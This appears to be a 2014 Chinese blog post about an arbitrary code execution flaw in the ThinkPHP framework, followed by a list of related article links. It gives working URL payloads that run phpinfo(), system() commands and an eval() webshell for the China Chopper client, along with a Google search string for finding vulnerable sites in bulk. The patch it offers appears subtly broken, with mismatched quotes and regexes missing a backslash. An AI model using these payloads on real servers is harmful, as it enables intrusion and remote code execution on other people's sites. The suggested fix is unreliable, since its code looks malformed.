ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
smarty实例教程
Nov 19 PHP
php HandlerSocket的使用
May 02 PHP
SESSION信息保存在哪个文件目录下以及能够用来保存什么类型的数据
Jun 17 PHP
PHP写的求多项式导数的函数代码
Jul 04 PHP
PHP数组循环操作详细介绍 附实例代码
Feb 03 PHP
如何使用PHP获取指定日期所在月的开始日期与结束日期
Aug 01 PHP
PHP产生不重复随机数的5个方法总结
Nov 12 PHP
php 流程控制switch的简单实例
Jun 07 PHP
PHP创建多级目录的两种方法
Oct 28 PHP
Mac下php 5升级到php 7的步骤详解
Apr 26 PHP
微信公众号实现会员卡领取功能
Jun 08 PHP
定位地理位置PHP判断员工打卡签到经纬度是否在打卡之内
May 23 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
php zend 相对路径问题
2009/01/12 PHP
php实现信用卡校验位算法THE LUHN MOD-10示例
2014/05/07 PHP
如何使用Gitblog和Markdown建自己的博客
2015/07/31 PHP
php usort 使用用户自定义的比较函数对二维数组中的值进行排序
2017/05/02 PHP
PHP实现广度优先搜索算法(BFS,Broad First Search)详解
2017/09/16 PHP
HTML5如何适配 iPhone IOS 底部黑条
2021/03/09 HTML / CSS
JQuery.uploadify 上传文件插件的使用详解 for ASP.NET
2010/01/22 Javascript
js 键盘记录实现(兼容FireFox和IE)
2010/02/07 Javascript
JQuery扩展插件Validate—4设置错误提示的样式
2011/09/05 Javascript
纯js网页画板(Graphics)类简介及实现代码
2012/12/24 Javascript
javascript根据像素点取位置示例
2014/01/27 Javascript
jQuery照片伸缩效果不影响其他元素的布局
2014/05/09 Javascript
JS制作简单的三级联动
2015/03/18 Javascript
jQuery实现首页图片淡入淡出效果的方法
2015/06/10 Javascript
javascript实现超炫的向上滑行菜单实例
2015/08/03 Javascript
javascript鼠标右键菜单自定义效果
2020/12/08 Javascript
JQuery Mobile 弹出式登录框的实现方法
2016/05/28 Javascript
微信小程序获取循环元素id以及wx.login登录操作
2017/08/17 Javascript
jquery实现楼层滚动效果
2018/01/01 jQuery
webpack4.0 入门实践教程
2018/10/08 Javascript
跟混乱的页面弹窗说再见
2019/04/11 Javascript
maptalks+three.js+vue webpack实现二维地图上贴三维模型操作
2020/08/10 Javascript
python中实现指定时间调用函数示例代码
2017/09/08 Python
Python实现的视频播放器功能完整示例
2018/02/01 Python
解决matplotlib库show()方法不显示图片的问题
2018/05/24 Python
django框架面向对象ORM模型继承用法实例分析
2019/07/29 Python
django2.2安装错误最全的解决方案(小结)
2019/09/24 Python
Python 实现Image和Ndarray互相转换
2020/02/19 Python
一文了解python 3 字符串格式化 F-string 用法
2020/03/04 Python
Django的ListView超详细用法(含分页paginate)
2020/05/21 Python
一套带答案的C++笔试题
2014/01/10 面试题
消防应急演练方案
2014/02/12 职场文书
大学生就业自我推荐信
2014/05/10 职场文书
宣传标语大全
2014/07/01 职场文书
担保书格式范文
2015/09/22 职场文书
优秀乡村医生事迹材料(2016精选版)
2016/02/29 职场文书